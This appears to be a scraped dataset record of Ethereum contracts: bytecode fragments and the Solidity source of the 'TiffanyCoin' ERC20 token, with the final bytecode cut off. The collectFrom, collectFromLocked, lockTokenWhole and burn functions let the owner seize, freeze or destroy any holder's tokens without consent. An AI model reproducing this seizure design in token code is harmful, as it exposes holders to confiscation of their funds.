ffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cd9d256752bd5f0c6612854c6a283941ed28f791fc2f8219b204930a3feb07ab64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,717
0xb194d75a075ea5a0185496735e159e3234a0425c
pragma solidity ^0.5.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { //_transferOwnership(newOwner); _pendingowner = newOwner; emit OwnershipTransferPending(_owner, newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private _pendingowner; event OwnershipTransferPending(address indexed previousOwner, address indexed newOwner); function pendingowner() public view returns (address) { return _pendingowner; } modifier onlyPendingOwner() { require(msg.sender == _pendingowner, "Ownable: caller is not the pending owner"); _; } function claimOwnership() public onlyPendingOwner { _transferOwnership(msg.sender); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Pausable: paused"); _; } modifier whenPaused() { require(paused, "Pausable: not paused"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC20Token is IERC20, Pausable { using SafeMath for uint256; using Address for address; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = totalSupply; _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256 balance) { return _balances[account]; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address recipient, uint256 amount) public whenNotPaused returns (bool success) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function mint(address account,uint256 amount) public onlyOwner returns (bool) { _mint(account, amount); return true; } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(address account,uint256 amount) public onlyOwner returns (bool) { _burn(account, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn to the zero address"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } } contract TiffanyCoin is ERC20Token { constructor() public ERC20Token("Tiffany Coin", "TFCO", 18, 3000000000 * (10 ** 18)) { } mapping (address => uint256) internal _locked_balances; event TokenLocked(address indexed owner, uint256 value); event TokenUnlocked(address indexed beneficiary, uint256 value); function balanceOfLocked(address account) public view returns (uint256 balance) { return _locked_balances[account]; } function lockToken(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: address is empty"); require(addresses.length == amounts.length, "LockToken: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _lock_token(addresses[i], amounts[i]); } return true; } function lockTokenWhole(address[] memory addresses) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: address is empty"); for (uint i = 0; i < addresses.length; i++) { _lock_token(addresses[i], _balances[addresses[i]]); } return true; } function unlockToken(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: unlock address is empty"); require(addresses.length == amounts.length, "LockToken: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _unlock_token(addresses[i], amounts[i]); } return true; } function _lock_token(address owner, uint256 amount) internal { require(owner != address(0), "LockToken: lock from the zero address"); require(amount > 0, "LockToken: the amount is empty"); _balances[owner] = _balances[owner].sub(amount); _locked_balances[owner] = _locked_balances[owner].add(amount); emit TokenLocked(owner, amount); } function _unlock_token(address owner, uint256 amount) internal { require(owner != address(0), "LockToken: lock from the zero address"); require(amount > 0, "LockToken: the amount is empty"); _locked_balances[owner] = _locked_balances[owner].sub(amount); _balances[owner] = _balances[owner].add(amount); emit TokenUnlocked(owner, amount); } event Collect(address indexed from, address indexed to, uint256 value); event CollectLocked(address indexed from, address indexed to, uint256 value); //Lock이 해지 되었다. function collectFrom(address[] memory addresses, uint256[] memory amounts, address recipient) public onlyOwner returns (bool) { require(addresses.length > 0, "Collect: collect address is empty"); require(addresses.length == amounts.length, "Collect: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _transfer(addresses[i], recipient, amounts[i]); emit Collect(addresses[i], recipient, amounts[i]); } return true; } function collectFromLocked(address[] memory addresses, uint256[] memory amounts, address recipient) public onlyOwner returns (bool) { require(addresses.length > 0, "Collect: collect address is empty"); require(addresses.length == amounts.length, "Collect: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _unlock_token(addresses[i], amounts[i]); _transfer(addresses[i], recipient, amounts[i]); emit CollectLocked(addresses[i], recipient, amounts[i]); } return true; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461016f578063095ea7b3146101ff57806314a7a6311461027257806318160ddd1461040357806323b872dd1461042e578063313ce567146104c157806339509351146104f25780633f4ba83a1461056557806340c10f191461057c5780634e71e0c8146105ef5780635c975abb1461060657806370a0823114610635578063715018a61461069a5780638456cb59146106b15780638da5cb5b146106c85780638f32d59b1461071f57806395d89b411461074e5780639dc29fac146107de578063a457c2d714610851578063a9059cbb146108c4578063b9bcabe914610937578063da4a898e14610ac8578063dd62ed3e14610b1f578063e50c652914610ba4578063e960bb4814610c81578063f2cb9bea14610ce6578063f2fde38b14610e57578063f612436114610ea8575b600080fd5b34801561017b57600080fd5b50610184611019565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c45780820151818401526020810190506101a9565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b506102586004803603604081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110bb565b604051808215151515815260200191505060405180910390f35b34801561027e57600080fd5b506103e96004803603606081101561029557600080fd5b81019080803590602001906401000000008111156102b257600080fd5b8201836020820111156102c457600080fd5b803590602001918460208302840111640100000000831117156102e657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561034657600080fd5b82018360208201111561035857600080fd5b8035906020019184602083028401116401000000008311171561037a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611157565b604051808215151515815260200191505060405180910390f35b34801561040f57600080fd5b506104186113e1565b6040518082815260200191505060405180910390f35b34801561043a57600080fd5b506104a76004803603606081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113eb565b604051808215151515815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6611521565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104fe57600080fd5b5061054b6004803603604081101561051557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611538565b604051808215151515815260200191505060405180910390f35b34801561057157600080fd5b5061057a611662565b005b34801561058857600080fd5b506105d56004803603604081101561059f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117ab565b604051808215151515815260200191505060405180910390f35b3480156105fb57600080fd5b5061060461183d565b005b34801561061257600080fd5b5061061b611933565b604051808215151515815260200191505060405180910390f35b34801561064157600080fd5b506106846004803603602081101561065857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611946565b6040518082815260200191505060405180910390f35b3480156106a657600080fd5b506106af61198f565b005b3480156106bd57600080fd5b506106c6611aca565b005b3480156106d457600080fd5b506106dd611c13565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072b57600080fd5b50610734611c3c565b604051808215151515815260200191505060405180910390f35b34801561075a57600080fd5b50610763611c93565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107a3578082015181840152602081019050610788565b50505050905090810190601f1680156107d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107ea57600080fd5b506108376004803603604081101561080157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d35565b604051808215151515815260200191505060405180910390f35b34801561085d57600080fd5b506108aa6004803603604081101561087457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611dc7565b604051808215151515815260200191505060405180910390f35b3480156108d057600080fd5b5061091d600480360360408110156108e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ef1565b604051808215151515815260200191505060405180910390f35b34801561094357600080fd5b50610aae6004803603606081101561095a57600080fd5b810190808035906020019064010000000081111561097757600080fd5b82018360208201111561098957600080fd5b803590602001918460208302840111640100000000831117156109ab57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610a0b57600080fd5b820183602082011115610a1d57600080fd5b80359060200191846020830284011164010000000083111715610a3f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f8d565b604051808215151515815260200191505060405180910390f35b348015610ad457600080fd5b50610add61224f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2b57600080fd5b50610b8e60048036036040811015610b4257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612279565b6040518082815260200191505060405180910390f35b348015610bb057600080fd5b50610c6760048036036020811015610bc757600080fd5b8101908080359060200190640100000000811115610be457600080fd5b820183602082011115610bf657600080fd5b80359060200191846020830284011164010000000083111715610c1857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612300565b604051808215151515815260200191505060405180910390f35b348015610c8d57600080fd5b50610cd060048036036020811015610ca457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612494565b6040518082815260200191505060405180910390f35b348015610cf257600080fd5b50610e3d60048036036040811015610d0957600080fd5b8101908080359060200190640100000000811115610d2657600080fd5b820183602082011115610d3857600080fd5b80359060200191846020830284011164010000000083111715610d5a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610dba57600080fd5b820183602082011115610dcc57600080fd5b80359060200191846020830284011164010000000083111715610dee57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506124dd565b604051808215151515815260200191505060405180910390f35b348015610e6357600080fd5b50610ea660048036036020811015610e7a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126d2565b005b348015610eb457600080fd5b50610fff60048036036040811015610ecb57600080fd5b8101908080359060200190640100000000811115610ee857600080fd5b820183602082011115610efa57600080fd5b80359060200191846020830284011164010000000083111715610f1c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610f7c57600080fd5b820183602082011115610f8e57600080fd5b80359060200191846020830284011164010000000083111715610fb057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061280d565b604051808215151515815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110b15780601f10611086576101008083540402835291602001916110b1565b820191906000526020600020905b81548152906001019060200180831161109457829003601f168201915b5050505050905090565b6000600160149054906101000a900460ff16151515611142576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61114d3384846129dc565b6001905092915050565b6000611161611c3c565b15156111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008451111515611274576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b825184511415156112ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b84518110156113d557611335858281518110151561130d57fe5b9060200190602002015184868481518110151561132657fe5b90602001906020020151612c5d565b8273ffffffffffffffffffffffffffffffffffffffff16858281518110151561135a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1314fd112a381beea61539dbd21ec04afcff2662ac7d1b83273aade1f53d1b9786848151811015156113a957fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506112f3565b50600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff16151515611472576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61147d848484612c5d565b611516843361151185600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b6129dc565b600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160149054906101000a900460ff161515156115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611658338461165385600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b6129dc565b6001905092915050565b61166a611c3c565b15156116de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff161515611762576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60006117b5611c3c565b1515611829576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611833838361309c565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611928576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207468652070656e646981526020017f6e67206f776e657200000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6119313361325b565b565b600160149054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611997611c3c565b1515611a0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611ad2611c3c565b1515611b46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff16151515611bcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d2b5780601f10611d0057610100808354040283529160200191611d2b565b820191906000526020600020905b815481529060010190602001808311611d0e57829003601f168201915b5050505050905090565b6000611d3f611c3c565b1515611db3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611dbd83836133e4565b6001905092915050565b6000600160149054906101000a900460ff16151515611e4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611ee73384611ee285600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b6129dc565b6001905092915050565b6000600160149054906101000a900460ff16151515611f78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611f83338484612c5d565b6001905092915050565b6000611f97611c3c565b151561200b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600084511115156120aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b82518451141515612123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b84518110156122435761216a858281518110151561214357fe5b90602001906020020151858381518110151561215b57fe5b906020019060200201516135a3565b6121a3858281518110151561217b57fe5b9060200190602002015184868481518110151561219457fe5b90602001906020020151612c5d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156121c857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fcef2a588ab872cf14edd1b152ab54525aa85d0ccf08912fb5cdd419f0ef6d063868481518110151561221757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612129565b50600190509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061230a611c3c565b151561237e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600082511115156123f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b60008090505b825181101561248a5761247d838281518110151561241757fe5b9060200190602002015160066000868581518110151561243357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613862565b80806001019150506123fd565b5060019050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006124e7611c3c565b151561255b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156125fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f4c6f636b546f6b656e3a20756e6c6f636b206164647265737320697320656d7081526020017f747900000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156126c7576126ba848281518110151561269357fe5b9060200190602002015184838151811015156126ab57fe5b906020019060200201516135a3565b8080600101915050612679565b506001905092915050565b6126da611c3c565b151561274e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8573d4aae9f7fb051c6b88d7440011a1c12376acda6603a45f45bad36a8db4ce60405160405180910390a350565b6000612817611c3c565b151561288b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008351111515612904576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b8151835114151561297d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156129d1576129c4848281518110151561299d57fe5b9060200190602002015184838151811015156129b557fe5b90602001906020020151613862565b8080600101915050612983565b506001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612aa7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612b72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612d28576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612df3576040517f08c379a00000000000000000000